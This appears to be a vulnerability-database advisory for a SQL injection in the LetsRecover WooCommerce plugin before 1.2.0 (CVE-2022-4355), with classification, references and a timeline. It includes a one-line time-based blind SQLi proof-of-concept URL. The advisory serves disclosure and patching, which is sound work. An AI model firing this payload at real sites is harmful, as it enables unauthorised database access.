WordPress Plugin Vulnerabilities

LetsRecover < 1.2.0 - Admin+ SQLi

Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin

Proof of Concept

https://example.com/wp-admin/admin.php?page=letsrecover-manual-notification&subscriber_id=111+AND+(SELECT+5926+FROM+(SELECT(SLEEP(5)))erUA)

Affects Plugins

Plugin icon
letsrecover-woocommerce-abandoned-cart
Fixed in 1.2.0

References

CVE
CVE-2022-4355
URL
https://bulletin.iese.de/post/letsrecover-woocommerce-abandoned-cart_1-1-0_2

Classification

Type
SQLI
OWASP top 10
A1: Injection
CWE
CWE-89
CVSS
4.1 (medium)

Miscellaneous

Original Researcher
Daniel Krohmer, Kunal Sharma
Submitter
Daniel Krohmer
Submitter website
https://www.iese.fraunhofer.de/en.html
Verified
Yes
WPVDB ID
221bf87b-69e2-4c53-971e-8516b798c759

Timeline

Publicly Published
2022-12-09 (about 1 years ago)
Added
2022-12-09 (about 1 years ago)
Last Updated
2023-03-16 (about 1 years ago)

Other

Published
Title
Published
2023-06-15
Title
Contact Form by WD <= 1.13.23 - Admin+ SQLi
Published
2024-04-29
Title
School Management Pro <= 10.3.4 - Authenticated (School Admin+) SQL Injection
Published
2014-08-01
Title
WP Forum Server <= 1.7.3 - wpf-insert.php edit_post_id Parameter SQL Injection
Published
2014-08-01
Title
GD Star Rating <= 1.9.10 - SQL Injection
Published
2016-11-10
Title
FireStorm Shopping Cart eCommerce Plugin 2.07.02 - Authenticated SQL Injection